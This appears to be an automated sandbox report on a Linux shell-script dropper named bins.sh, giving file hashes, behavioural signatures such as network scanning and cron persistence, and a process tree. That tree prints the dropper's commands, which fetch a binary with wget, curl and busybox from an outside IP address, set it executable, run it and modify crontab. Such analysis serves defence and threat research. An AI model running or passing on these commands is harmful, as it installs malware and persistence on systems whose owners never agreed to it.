Analysis

  • max time kernel
    138s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 07:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7ee143d7340118484b8308ebe57328e

  • SHA1

    e7dd9b270c283047255e9f58f9ef0fb153f900d3

  • SHA256

    94d5ebe092c6ecaa224eab27a6bfe01afda924c0719fd09b8a9174f3e017c821

  • SHA512

    58ab0c990171675599b112b48a8daa9933ea45b7dd4eb951058cea90ceb056ba30102af40be21e560749cc7e49dd14d67f2181832517b51e56b7464900181b79

  • SSDEEP

    96:S2ld5pKiccHpWYgdj332d5pKiqOHGNmH5WYgqCHT33qmeZ:S2I8pGjWU6

Malware Config

Signatures

  • Contacts a large (2167) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/chmod
          chmod 777 SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • File and Directory Permissions Modification
          PID:1516
        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          ./SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1517
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1519
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1520
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1521
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1522
              • /bin/rm
                rm SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
                2⤵
                  PID:1524
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
                  2⤵
                    PID:1527

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.VXbUxv

                  Filesize

                  210B

                  MD5

                  5c9b753f516c52a712bf2f6301aea8a7

                  SHA1

                  87afe57629da60f18e8a9469df04be858cacba59

                  SHA256

                  87333e5a4ebd04272f4059ab9abab0d7b2432cb2aa0ebeaa2f0f1d2011ce04ed

                  SHA512

                  39cf9abd146a3306357cd4ab11e491113de3f033a0abc769c7bbd492cbaf267036dd66ca0652f3bdab2973f7a6808e99a3ecbf4bad761b3fb38e9652fcbd0c76